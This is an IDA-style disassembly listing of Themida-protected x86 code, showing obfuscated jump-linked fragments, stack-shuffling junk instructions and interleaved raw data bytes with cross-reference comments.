; ---------------------------------------------------------------------------
loc_552BE7: ; CODE XREF: Themida_:005593DCj
push dword ptr [esp]
pop edi
sub esp, 4
jmp loc_557AD4
; ---------------------------------------------------------------------------
dw 0ACBEh
dd 291EA87Dh, 0F0015EF0h, 0A87DAC05h, 24348B1Eh, 4C481h
dd 0EC810000h, 4, 57241489h, 0C57D3068h, 612E929h, 0C5830000h
dd 242C8704h, 2C2835Ch, 2474FF52h, 2434FF04h, 8324148Bh
dd 895304C4h, 0F1F2E9E3h
db 2 dup(0)
word_552C42 dw 34FFh ; DATA XREF: Themida_:00550854o
dd 2434FF24h, 4C48358h, 4EC81h, 0A6E90000h, 0BB0000F0h
dd 7EFB5567h, 8108EBC1h, 4CB715F3h, 0E9DE013Ah, 0CE17h
dd 1BAFE95Bh, 0CF810000h, 231A552Ch, 0E94FD7F7h, 4C1Eh
dd 68241C89h, 3865h, 81242489h, 42404h, 835B0000h, 34E904ECh
dd 31000003h, 0CA0158C1h, 6CA5E9h
db 0
; ---------------------------------------------------------------------------
loc_552CA5: ; CODE XREF: Themida_:00565A0Dj
sub esi, ebx
pop ebx
add esi, eax
add esi, 43077B39h
pop eax
sub esp, 4
mov [esp], ecx
mov ecx, 4
push ebx
mov ebx, 40C00A87h
add esi, ebx
pop ebx
sub esi, ecx
sub esi, 40C00A87h
jmp loc_5588A9
; ---------------------------------------------------------------------------
dw 0E189h
dd 4C181h, 0C1830000h, 74FF5104h, 8F590424h, 93E92404h
db 52h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_552CEB: ; CODE XREF: Themida_:0055E3B5j
or edi, 0A533AEFh
not edi
jmp loc_55F6F2
; ---------------------------------------------------------------------------
dd 1AA7F181h, 0E1D17AEDh, 6C44BF57h, 0F9313342h, 25ACE9h
db 0
; ---------------------------------------------------------------------------
loc_552D0D: ; CODE XREF: Themida_:00561B3Cj
add esi, eax
push dword ptr [esp]
pop eax
jmp loc_56021E
; ---------------------------------------------------------------------------
dd 1BBE565Ch, 8163AC5Ah, 897749EEh, 0D0F68116h, 0E94D22E2h
dd 12B31h
; ---------------------------------------------------------------------------
loc_552D30: ; CODE XREF: Themida_:00559ED6j
add edx, 4
jmp loc_562B27
; ---------------------------------------------------------------------------
dd offset aStringer ; "Stringer"
db 0E8h
dd 52E80059h, 8671E9h, 4EC8300h, 0B8240489h, 4, 9AECE9h
db 0
; ---------------------------------------------------------------------------
loc_552D59: ; CODE XREF: Themida_:0055B2DBj
pop esp
jmp loc_561470
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832434h, 17C28104h, 502A5105h, 0EA7C6AB8h, 176BE912h
dd 0F1810001h, 17324925h, 0E959CE29h, 35F2h, 0E957EE29h
dd 0FFFFF29Dh, 0C281C201h, 6F6119DEh, 67EDEA81h, 48B29FDh
dd 4C48124h, 50000000h, 444F9AB8h, 8E8C129h, 0C6E9D0F7h
dd 570000C0h, 3871B951h, 0A1E96D0Ch
db 27h, 1, 0
; ---------------------------------------------------------------------------
loc_552DBF: ; CODE XREF: Themida_:00561F9Ej
xchg esi, [esp]
jmp loc_561B2E
; ---------------------------------------------------------------------------
loc_552DC7: ; CODE XREF: Themida_:00564137j
mov [esp], edi
xchg eax, [esp]
not eax
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_556983
; ---------------------------------------------------------------------------
db 89h
dd 4BE56E5h, 51000000h, 0FFE3BAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552DF5: ; CODE XREF: Themida_:0055CB5Ej
mov ebp, 27344EAAh
or ebp, 7EA47AC5h
shl ebp, 6
jmp loc_5544A1
; ---------------------------------------------------------------------------
loc_552E08: ; CODE XREF: Themida_:0055AACDj
add esp, 4
push ebx
sub esp, 4
mov [esp], edx
push dword ptr [esp]
pop ebx
add esp, 4
mov edx, [esp]
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_562549
; ---------------------------------------------------------------------------
dw 0BA52h
dd 0AB0F191Fh, 0BC2BE9h
db 0
; ---------------------------------------------------------------------------
loc_552E45: ; CODE XREF: Themida_:005555A5j
and eax, esi
pop esi
jmp loc_5510A5
; ---------------------------------------------------------------------------
db 68h, 1Bh, 5
dd 34890000h, 12A5E924h, 89570001h, 4C781E7h, 81000000h
dd 4C7h, 243C8700h, 1C0835Ch, 4D603335h, 46C68193h, 176342Ah
dd 0BE5650C6h, 23584DCBh, 0C22EC681h, 0F08932ADh, 8124348Bh
dd 4C4h, 4DBD5500h, 1202E1Ah, 0C6815DE8h, 590C67A5h, 0EE81C629h
dd 590C67A5h, 18E95858h
db 48h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_552EB3: ; CODE XREF: Themida_:00564B85j
xor ebx, edx
pop edx
mov [edi+20h], ebx
mov ebx, [esp]
add esp, 4
loc_552EC2: ; CODE XREF: Themida_:00551F7Aj
; Themida_:0055C246j
mov ebx, [esp]
push 118h
mov [esp], ebp
mov ebp, esp
push ecx
jmp loc_55D0D6
; ---------------------------------------------------------------------------
loc_552ED5: ; CODE XREF: Themida_:0055774Dj
mov [esp], ebx
pop eax
pop ebx
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
jmp loc_5548B6
; ---------------------------------------------------------------------------
loc_552EEE: ; CODE XREF: Themida_:00565208j
add ebx, 0F3509F0h
push dword ptr [esp]
pop ecx
add esp, 4
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
xchg ebx, [esp]
jmp loc_55BF4E
; ---------------------------------------------------------------------------
dd 8006E5C0h, 0F4045EEDh, 1AE9E828h, 0F700010Eh, 0BB534ADAh
dd 31170F87h, 815BDA01h, 461722C2h, 0E8DFE952h
db 2 dup(0)
word_552F32 dw 8B66h ; DATA XREF: Themida_:005506F8o
dd 8956240Ch, 0E68956E6h, 1160DE9h
db 0
; ---------------------------------------------------------------------------
loc_552F41: ; CODE XREF: Themida_:00564C41j
add ebp, ebx
pop ebx
add ebp, 4
jmp loc_55D6FF
; ---------------------------------------------------------------------------
db 81h
dd 1E0016C1h, 59CE0134h, 26851h, 20E90000h, 5C000060h
dd 52240489h, 0BCFEE9h, 4C68100h, 87000000h, 248B2434h
dd 0DA31E924h, 0C329FFFFh, 0E904EC83h, 0F8E1h
; ---------------------------------------------------------------------------
loc_552F88: ; CODE XREF: Themida_:005613B5j
shr ebp, 7
shl ebp, 5
xor ebp, 406CBC1h
jmp loc_560F85
; ---------------------------------------------------------------------------
loc_552F99: ; CODE XREF: Themida_:005644ADj
push ebx
jmp loc_5642C9
; ---------------------------------------------------------------------------
loc_552F9F: ; CODE XREF: Themida_:0055F4FFj
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_55E95D
; ---------------------------------------------------------------------------
aYS db 'Y[И{р',0
dd 243C8900h, 777EDB68h, 2434FF24h, 4C4835Fh, 0F751CF87h
dd 0F3E92414h, 89FFFFDDh, 4BF243Ch, 1000000h, 243C8BFBh
dd 0DDEFE9h, 4BD3F700h, 0B53EF381h, 0DA21C90Fh, 10F2815Bh
dd 1449836h, 0EB815AD3h, 4, 100B1E9h
db 0
; ---------------------------------------------------------------------------
loc_553001: ; CODE XREF: Themida_:0055B3CFj
mov edx, 0BF65E7FFh
add esi, edx
pop edx
sub [edi+24h], esi
push dword ptr [esp]
pop esi
jmp loc_559AD4
; ---------------------------------------------------------------------------
loc_553015: ; CODE XREF: Themida_:005517FEj
mov esi, 276E7941h
add ebx, esi
pop esi
add ebx, 748C0BCEh
push dword ptr [ebx]
push ebx
mov ebx, 4CE171E9h
sub [esp+4], ebx
pop ebx
pop ecx
jmp loc_5554AE
; ---------------------------------------------------------------------------
dw 0EA81h
dd 7D13774Ah, 34FFD301h, 4693E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553046: ; CODE XREF: Themida_:0055C6C9j
push small 268Ch
jmp loc_55713F
; ---------------------------------------------------------------------------
db 83h
dd 0F20104C4h, 113CBE9h, 4BF5700h, 81000000h, 1C0753EAh
dd 81FA015Fh, 1C0753C2h, 1AE95F5Fh, 81FFFFDAh, 512439C3h
dd 5BDE89B2h, 77F0B850h, 0E0C10279h, 63354007h, 40488A57h
dd 212DE9h, 4EC8300h, 68241C89h, 4D004D49h, 6E3C15Bh, 7E69CB81h
dd 0E3C14194h, 6EF38106h, 148D9D9h, 2434FFDFh, 2B92E95Bh
dd 0C4810001h, 4, 0EB80C328h, 378F6825h, 14890000h, 51E0B224h
dd 0DFE9E3B1h
db 40h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5530D7: ; CODE XREF: Themida_:0055514Bj
sub ecx, 293F3CA1h
add ecx, ebp
jmp loc_55A446
; ---------------------------------------------------------------------------
loc_5530E4: ; CODE XREF: Themida_:00553A19j
mov ebp, 48997029h
sub ebp, 48997025h
mov esi, ebp
pop ebp
sub esp, 4
mov [esp], ebx
push ebp
mov ebp, 76DE2667h
mov ebx, 89282A36h
add ebx, ebp
mov ebp, [esp]
add esp, 4
inc ebx
jmp loc_5535FF
; ---------------------------------------------------------------------------
db 89h
dd 4C181E1h, 83000000h, 0C8704C1h, 0A12FE924h, 48B0000h
dd 4C48124h, 81000000h, 4ECh, 24048900h, 2959E954h, 0EF810000h
dd 0FF9281CFh, 15FF989h, 505553C1h, 2C1C7468h, 51355842h
dd 0E93B813Ch, 12B01h, 0E95AF188h, 12927h, 90AC681h, 835A05F9h
dd 3C8904ECh, 106C6824h, 0A7E90000h
db 1Dh, 2 dup(0)
byte_55317F db 66h ; DATA XREF: Themida_:0055083Co
dd 6824048Bh, 307Ah, 56240489h, 0C681E689h, 4, 4EE81h
dd 34330000h, 24343124h, 8B243433h, 24892424h, 4BF5724h
dd 1000000h, 5F04247Ch, 582434FFh, 110DEE9h, 7EEC100h
dd 58CBEE81h, 0E6C167C1h, 0D6F74E02h, 4356C681h, 0F231D805h
dd 68C2815Eh, 0E96F7040h, 97F3h, 493374BEh, 4289E911h
dd 0BE560000h, 6E2F0B51h, 9CD1E9h
db 0
; ---------------------------------------------------------------------------
loc_5531F5: ; CODE XREF: Themida_:0056233Ej
mov [esp], ebp
mov ebp, 0D3FF0E45h
xor eax, ebp
pop ebp
add edx, 7C9849ECh
jmp loc_55178A
; ---------------------------------------------------------------------------
db 53h
dd 0C3815B54h, 4, 4B951h, 0CB010000h, 241C8759h, 1058DE9h
dd 4B800h, 0C2890000h, 0E9D30158h, 250Bh, 4BE7815Fh, 81561D0Eh
dd 0A9032AEFh, 0BB5BE991h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553246: ; CODE XREF: Themida_:0055B5C9j
sub ebp, ecx
pop ecx
jmp loc_5635E3
; ---------------------------------------------------------------------------
loc_55324E: ; CODE XREF: Themida_:0055910Ej
mov ebx, 19047202h
xor ebx, 653E0A8Ch
shl ebx, 1
inc ebx
jmp loc_552001
; ---------------------------------------------------------------------------
db 52h, 83h, 0ECh
dd 242C8904h, 0C581E589h, 4, 4BB53h, 0DD290000h, 242C875Bh
dd 12846E9h
db 0
; ---------------------------------------------------------------------------
loc_553281: ; CODE XREF: Themida_:00562FB8j
xor edi, [esp]
jmp loc_55C9CA
; ---------------------------------------------------------------------------
loc_553289: ; CODE XREF: Themida_:00557887j
mov [esp], eax
push edx
push 45CD3D82h
mov edx, [esp]
add esp, 4
push eax
mov eax, 172C0F6Fh
shl eax, 2
push 2E17h
mov [esp], edx
mov edx, 58173863h
shl edx, 5
push eax
jmp loc_554695
; ---------------------------------------------------------------------------
loc_5532B7: ; CODE XREF: Themida_:00558E7Aj
add ebx, edi
pop edi
jmp loc_565279
; ---------------------------------------------------------------------------
db 31h
dd 0CD295FF9h, 1073AE9h, 59CB2900h, 6671E9h
db 0
; ---------------------------------------------------------------------------
loc_5532D1: ; CODE XREF: Themida_:00562845j
mov esi, 454C4A5Bh
xor ebx, esi
pop esi
jmp loc_55589B
; ---------------------------------------------------------------------------
dw 3C89h
dd 2EBCBF24h, 0C78107AEh, 0AB37CB6h, 0E907EFC1h, 5A7h
dd 4C481h, 14870000h, 24248B24h, 66F9F766h, 6661FE68h
dd 66241489h, 9CE99C50h
db 0D6h, 2 dup(0FFh)
byte_553313 db 64h ; DATA XREF: Themida_:0055086Co
dd 0AAE932FFh, 100004Bh, 51565FF8h, 2457B568h, 240C8B4Dh
dd 7170E9h
db 0
; ---------------------------------------------------------------------------
loc_55332D: ; CODE XREF: Themida_:00551884j
mov [esp], cx
jmp loc_5509AF
; ---------------------------------------------------------------------------
dw 0C781h
dd 4, 0AD53E953h, 2C890000h, 2474FF24h, 48F5D04h, 24248B24h
dd 135BE9h, 0E9F10100h, 11C25h, 8F04C483h, 61CA6800h, 0C890000h
dd 2794E924h, 0E95F0001h, 0FFFFFDCEh, 0FFD636E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_553379: ; CODE XREF: Themida_:00551333j
pop ecx
jmp loc_5523FD
; ---------------------------------------------------------------------------
byte_55337F db 66h ; DATA XREF: Themida_:005507B8o
dd 8124048Bh, 4ECh, 24348900h, 24348B54h, 4C481h, 0E9570000h
dd 0FFFFECFCh
; ---------------------------------------------------------------------------
loc_55339C: ; CODE XREF: Themida_:00557572j
add esi, edx
pop edx
add esi, 4
jmp loc_55787C
; ---------------------------------------------------------------------------
loc_5533A7: ; CODE XREF: Themida_:00554E82j
dec ebx
push esi
mov esi, 61C42549h
jmp loc_565905
; ---------------------------------------------------------------------------
db 81h
dd 88789EEFh, 2434FF4Ch, 4C4815Ah, 1000000h, 0EEC15FFEh
dd 6E94E02h
db 0E1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5533CF: ; CODE XREF: Themida_:0055E54Dj
and eax, ebx
pop ebx
or eax, eax
jz loc_55F83A
push dword ptr [edi+28h]
push dword ptr [esp]
mov eax, [esp]
push 6136h
mov [esp], ebp
jmp loc_554E69
; ---------------------------------------------------------------------------
loc_5533F0: ; CODE XREF: Themida_:00564A22j
push eax
push ecx
mov ecx, 6F2F1048h
mov eax, ecx
mov ecx, [esp]
add esp, 4
shr eax, 3
add eax, 1
sub eax, 20C549B3h
push ecx
jmp loc_550B00
; ---------------------------------------------------------------------------
db 81h
dd 4C2h, 8BBE5600h, 0C15F9726h, 0F79605E6h, 0FFE883D0h
dd 56A5E956h, 22680000h, 8900006Fh, 0EC81242Ch, 4, 89243489h
dd 4C681E6h, 51000000h, 324921B9h, 0F924E917h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553452: ; CODE XREF: Themida_:0055AEA0j
mov [esp], edi
jmp loc_55B155
; ---------------------------------------------------------------------------
word_55345A dw 28Fh ; DATA XREF: Themida_:00550900o
dd 0FFD54EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_553461: ; CODE XREF: Themida_:00560D2Aj
xchg eax, [esp]
mov esp, [esp]
push 4E5Ah
mov [esp], edi
jmp loc_556A27
; ---------------------------------------------------------------------------
dd 32F1E95Eh, 0C3810000h, 4, 0E9241C87h, 353Dh
; ---------------------------------------------------------------------------
loc_553488: ; CODE XREF: Themida_:005648FCj
mov edx, 2AB966EEh
sub esi, edx
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_550DEF
; ---------------------------------------------------------------------------
aTs db 'TИи╦',0
align 4
dd 4C481h, 87560000h, 0D5F7242Ch, 5E242C87h, 50BE5650h
dd 574C0551h, 8952F789h, 12EDE9FAh, 8B5A0000h, 0C483240Ch
dd 19CEE904h, 0E9810001h, 0FFFFFFFFh, 42BBE981h, 0EE811E1Eh
dd 5DA55AEBh, 0C681CE01h, 5DA55AEBh, 0EC62E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5534FA: ; CODE XREF: Themida_:00560E88j
dec ebp
inc ebp
push esi
push edi
jmp loc_554E47
; ---------------------------------------------------------------------------
db 29h
dd 5E042474h, 1799E9h
db 0
; ---------------------------------------------------------------------------
loc_55350D: ; CODE XREF: Themida_:00554AD5j
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], eax
push ebp
mov ebp, 5E816E1Bh
mov eax, ebp
pop ebp
add dword ptr [esp+4], 0E0B4E02h
jmp loc_556AF8
; ---------------------------------------------------------------------------
db 87h, 4, 24h
dd 2414895Ch, 564E6856h, 575E011Dh, 46958BFh, 0CF814F0Fh
dd 76AC4678h, 0F9F3EF81h, 0BBE94031h, 5C0000CAh, 9C2424D2h
dd 0FFD44AE9h, 0F7015AFFh, 8324348Bh, 0B95104C4h, 4, 0E959CF01h
dd 0B06Ah, 5104C483h, 9994E9h
db 0
; ---------------------------------------------------------------------------
loc_553585: ; CODE XREF: Themida_:0055B57Ej
mov ecx, [esp]
add esp, 4
pop ecx
mov ebp, 784E3346h
add ebp, 91952D01h
add ebp, 656B6FDAh
sub ebp, ebx
sub ebp, 656B6FDAh
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_555DD1
; ---------------------------------------------------------------------------
dd 51C7815Eh, 10DE64Fh, 0B9BE56DFh, 4E4C7529h, 1290CE81h
dd 0F6812634h, 23D51D3Bh, 0D732EE81h, 0F7293FB9h, 0AC4BE95Eh
dd 1CBD0000h, 8177F02Eh, 6803BCF5h, 6278686Fh, 0C890000h
dd 0A5E95524h
db 72h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5535FF: ; CODE XREF: Themida_:00553112j
sub ebx, 3F891FF7h
shr ebx, 3
and ebx, 5468491Eh
jmp loc_565AF7
; ---------------------------------------------------------------------------
db 56h
dd 0DB009EBEh, 75C7810Eh, 0E950A117h, 0DBEBh, 70AEEB81h
dd 0F381372Dh, 0AF16B99h, 2B9FBD55h, 814D73CAh, 0CE08E7E5h
dd 0C9F58163h, 296B4E99h, 0D9895DEBh, 2444815Bh, 60505904h
dd 244C011Eh, 246C8104h, 60505904h, 0CA7FE91Eh, 40BE0000h
dd 5126ED7Dh, 3FBCBA52h, 0CAB91E8Dh, 29728077h, 480E9D1h
dd 14890000h, 6D76BA24h, 0DAF76662h, 0ED13E9h
db 0
byte_553689 db 66h, 8Fh, 2 ; DATA XREF: Themida_:0055091Co
dd 0FFD31EE9h, 243489FFh, 0C681E689h, 4, 50685655h, 5E4CC265h
dd 0E9FFEE83h, 0F755h, 2924248Bh, 0C6C381C3h, 52660C12h
dd 3A52E5BAh, 8FF28106h, 1031407h, 24148BD3h, 8104C483h
dd 0F12FAAC3h, 7CB55103h, 0C5E9CDFEh
db 16h, 1, 0
; ---------------------------------------------------------------------------
loc_5536DB: ; CODE XREF: Themida_:00555799j
mov esp, [esp]
mov [esp], esi
push edx
jmp loc_5619C3
; ---------------------------------------------------------------------------
aQ_0 db '[Q╧',27h,0
dd 4C013EDDh, 0BAE90824h, 2D00010Eh, 77860E74h, 1449A42Dh
dd 5D82929h, 291449A4h, 4839E9h, 25E95000h, 81FFFFE0h
dd 510F77EEh, 0ABC68175h, 81267657h, 990B83EEh, 24148B67h
dd 8704C483h, 248B2434h, 24348924h, 0B7B1E950h, 0BB530000h
dd 46E14752h, 0C15BDF89h, 0CF8102EFh, 788719FBh, 328ECF81h
dd 0DFF7651Eh, 0FFDA3AE9h, 289E2DFFh, 0F02966D8h, 0D8289E05h
dd 43C80566h, 6EE93B08h, 31000080h, 0F75595C1h, 815D2414h
dd 4ECh, 24048900h, 247A68h, 242C8900h, 0C1915D58h, 0E1C105E1h
dd 2E1C105h, 0E6666853h, 34FFC08Fh, 3E2CE924h, 34890000h
dd 7ABA5224h, 89563020h, 0C3815AD6h, 7ED3758h, 0B850F329h
dd 2C0F1DF9h, 0E904E8C1h, 0B73Ah
dword_5537C4 dd 24048B66h, 7530E9h ; DATA XREF: Themida_:005506D4o
db 0
; ---------------------------------------------------------------------------
loc_5537CD: ; CODE XREF: Themida_:0055F923j
xor cl, 0CFh
jmp loc_55B0BC
; ---------------------------------------------------------------------------
db 81h, 0EDh, 5Ah
dd 5E356F32h, 5D5DE929h, 8B240C87h, 0E0E92424h, 59000060h
dd 1012AE9h, 4EC8300h, 89243C89h, 2EBD55E7h, 8179A73Ah
dd 2B3C01CDh, 11E5817Fh, 0F7485626h, 0FABE56D5h, 31B7F9D9h
dd 0EF015EF5h, 4EF835Dh, 0FFE4FBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_553821: ; CODE XREF: Themida_:0055A0B2j
sub ebx, edx
pop edx
add ebx, edx
add ebx, 5CCB7CBBh
jmp loc_562054
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 4C481h, 21040000h, 4530E9h
db 0
byte_553841 db 66h, 8Bh, 24h ; DATA XREF: Themida_:00550954o
dd 0D165E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55384A: ; CODE XREF: Themida_:00556E6Cj
add bl, dh
pop edx
mov ax, [esp]
add esp, 2
push dword ptr [esp]
jmp loc_5577AC
; ---------------------------------------------------------------------------
db 81h
dd 66D2ABF5h, 0E06DE9E3h
db 2 dup(0FFh)
word_55386A dw 77FFh ; DATA XREF: Themida_:00550844o
dd 59669D1Ch, 9C2414D2h, 0FFD136E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_553879: ; CODE XREF: Themida_:00554E19j
add ebx, 4
jmp loc_5539F3
; ---------------------------------------------------------------------------
loc_553884: ; CODE XREF: Themida_:0055C915j
mov ebx, ecx
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push eax
jmp loc_55A564
; ---------------------------------------------------------------------------
db 56h
dd 287C17BEh, 0C2EE8173h, 29F2C17Ch, 0F9295EF7h, 14E5E9h
db 0
; ---------------------------------------------------------------------------
loc_5538B1: ; CODE XREF: Themida_:0055BBA7j
xor eax, edi
pop edi
push 23EFh
jmp loc_561FB7
; ---------------------------------------------------------------------------
dw 0BA52h
dd 16F67289h, 0E95AD121h, 0A248h
; ---------------------------------------------------------------------------
loc_5538CC: ; CODE XREF: Themida_:00558FBBj
pop esp
push esi
xchg ecx, [esp]
xor ecx, edi
xor edi, ecx
jmp loc_562B35
; ---------------------------------------------------------------------------
loc_5538DA: ; CODE XREF: Themida_:005528C9j
add ebx, ecx
pop ecx
shl ebx, 8
push 22FDh
mov [esp], edi
push edx
mov edx, 1FB13424h
jmp loc_55C185
; ---------------------------------------------------------------------------
loc_5538F3: ; CODE XREF: Themida_:00561C1Fj
add ebx, edx
push edi
jmp loc_55C128
; ---------------------------------------------------------------------------
loc_5538FB: ; CODE XREF: Themida_:00559137j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
push ecx
push edx
mov dl, 0C1h
dec dl
shr dl, 6
neg dl
jmp loc_55CD3E
; ---------------------------------------------------------------------------
db 81h, 0EDh, 8Ch
dd 1237F6Fh, 0FFBA52F5h, 0C15B5A05h, 0E2C107EAh, 339DE908h
dd 0F1810000h, 25949090h, 6BE9CD29h, 310000E5h, 75055FF8h
dd 0E9398DA6h, 0F089h, 42474FFh, 0A4DDE9h, 8BFB0100h, 0C483243Ch
dd 2EBC104h, 121A5E9h, 0CEF58100h, 812E813Ch, 0B83211F5h
dd 5DEE2962h, 295EF729h, 6DE951CFh
db 44h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_553987: ; CODE XREF: Themida_:00559A47j
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_55226E
; ---------------------------------------------------------------------------
db 0BAh
dd 369F78EFh, 0C107EAC1h, 814207EAh, 620678E2h, 94F28105h
dd 89246161h, 0E9495AD1h, 615Bh, 0E95BDA01h, 0B5A3h, 83242C8Bh
dd 0EC8104C4h, 4, 0E9240C89h, 0D5CDh, 8B242C87h, 0C892424h
dd 4B924h, 0EA810000h, 0DA12F2Ah, 51E9CA01h, 590000C3h
dd 6AE9E904h
db 1Fh, 1, 0
; ---------------------------------------------------------------------------
loc_5539F3: ; CODE XREF: Themida_:0055387Fj
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov [esp], edx
sub esp, 4
mov [esp], esp
push ebx
mov ebx, 4
add [esp+4], ebx
pop ebx
pop edx
push esi
push ebp
jmp loc_5530E4
; ---------------------------------------------------------------------------
loc_553A1E: ; CODE XREF: Themida_:0055569Cj
add esi, 4
xchg esi, [esp]
pop esp
mov ebp, [esp]
jmp loc_55751A
; ---------------------------------------------------------------------------
db 40h, 35h, 0EEh
dd 486B7D54h, 3548D0F7h, 0E9FA928Dh, 77E9C201h, 810000DCh
dd 182084F6h, 24048B27h, 0C01E9h, 0B08BD00h, 0DDF73903h
dd 0BCCD814Dh, 0F729AF27h, 2E5C1D5h, 0E7BA5256h, 0BE42383Ah
dd 4B396020h, 0E95AD629h, 10E4Ch
; ---------------------------------------------------------------------------
loc_553A78: ; CODE XREF: Themida_:00561EA4j
push edi
mov edi, 502A4908h
sub ebp, edi
jmp loc_563DAF
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0E9242C89h, 0FBF1h, 57D5685Dh, 0C890000h, 81595424h
dd 4C1h, 4C18100h, 0E9000000h, 0FFFFD8E3h, 6824148Bh, 1D58h
dd 81242C89h, 4ECh, 2357E900h, 0F7400000h, 6D0540D8h, 3579D138h
dd 0CF045A9Eh, 8358C501h, 2C8704C5h, 24248B24h, 0CCE930FFh
dd 50FFFFCEh, 103EEF68h, 24048B18h, 0E8D8E9h, 1C895C00h
dd 42E924h, 215A0001h, 546859CEh, 0E9000020h, 0A642h
; ---------------------------------------------------------------------------
loc_553B08: ; CODE XREF: Themida_:00557105j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
pop esi
push dword ptr [esp]
pop eax
add esp, 4
xor eax, esi
xor esi, eax
xor eax, esi
jmp loc_55A36D
; ---------------------------------------------------------------------------
loc_553B28: ; CODE XREF: Themida_:0056025Ej
add esp, 4
jmp loc_5632FC
; ---------------------------------------------------------------------------
db 80h
dd 8B66D3C3h, 0C4832404h, 51C30002h, 0C180F6B1h, 74BCE9FFh
dd 0F7810000h, 2E423CBh, 7858BA52h, 43E93266h, 550000BEh
dd 4BA52h, 81520000h, 630C2434h, 815D5390h, 90630CF5h
dd 0AFE95A53h, 87FFFFD0h, 0A9E9242Ch, 83000021h, 0EC8304C4h
dd 243C8904h, 7472E9h
db 0
; ---------------------------------------------------------------------------
loc_553B8D: ; CODE XREF: Themida_:00551DE5j
push 2000h
push dword ptr [esp]
push dword ptr [esp]
pop edx
push edx
mov edx, esp
jmp loc_55D167
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd 4055854h, 83000000h, 48704E8h, 0C870E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553BB6: ; CODE XREF: Themida_:0055B1AFj
sub esi, ebx
add esi, 70340C00h
jmp loc_557B16
; ---------------------------------------------------------------------------
loc_553BC3: ; CODE XREF: Themida_:00564D9Bj
mov edx, 55CD50E7h
shl edx, 3
xor edx, 0FF97AF88h
sub esi, 76DF73CBh
jmp loc_5580CA
; ---------------------------------------------------------------------------
loc_553BDC: ; CODE XREF: Themida_:00556BE9j
pop ecx
shr ecx, 3
add ecx, 1
shl ecx, 2
inc ecx
xor ecx, 45AC06DFh
or ebp, ecx
pop ecx
jmp loc_5587AA
; ---------------------------------------------------------------------------
db 1, 0C2h, 0E9h
dd 4674h
; ---------------------------------------------------------------------------
loc_553BFC: ; CODE XREF: Themida_:0055685Ej
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push 79F5h
mov [esp], ebp
jmp loc_55E780
; ---------------------------------------------------------------------------
loc_553C1B: ; CODE XREF: Themida_:00558100j
push 0AEFh
mov [esp], ebp
mov ebp, 57CC72D7h
jmp loc_55B0E4
; ---------------------------------------------------------------------------
aYst db 'YИtц',0
db 0
; ---------------------------------------------------------------------------
loc_553C33: ; CODE XREF: Themida_:00551F5Bj
mov [esp], edi
jmp loc_55C5B7
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 331E900h, 0E2890001h, 4C281h, 0BFE90000h
db 0Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_553C53: ; CODE XREF: Themida_:00563243j
pop dword ptr [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_5509AF
; ---------------------------------------------------------------------------
loc_553C63: ; CODE XREF: Themida_:00550FE5j
sub al, 80h
sub al, bl
add al, 80h
sub al, 0C7h
mov ebx, [esp]
jmp loc_5598DD
; ---------------------------------------------------------------------------
db 81h
dd 0DE13BEC6h, 34335D4Dh, 24343124h, 8B243433h, 8B662424h
dd 3E92404h, 89000059h, 8DB951E5h, 81386576h, 4ECh, 243C8900h
dd 6244A5BFh, 0DAEF8100h, 0E9ACD9ECh, 54AEh
; ---------------------------------------------------------------------------
loc_553CB0: ; CODE XREF: Themida_:005520D8j
add eax, ecx
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ebp
mov ebp, 2
add eax, ebp
pop ebp
jmp loc_55969B
; ---------------------------------------------------------------------------
aZs db 'ZИ=╢',0
align 4
dd 8B66E828h, 6468240Ch, 89000014h, 0E2892414h, 0CBE9h
dd 24148900h, 0FFCCB6E9h, 1C895CFFh, 4EC8324h, 0FF240489h
dd 0F8E92434h
db 4, 1, 0
; ---------------------------------------------------------------------------
loc_553D0B: ; CODE XREF: Themida_:005594B2j
pop esp
mov [esp], esi
push esp
pop esi
jmp loc_55C4C7
; ---------------------------------------------------------------------------
loc_553D16: ; CODE XREF: Themida_:0055CB01j
push eax
mov eax, 1CC8554Eh
add eax, 5E4617B5h
add edx, eax
pop eax
add edx, 8608C551h
add ebp, edx
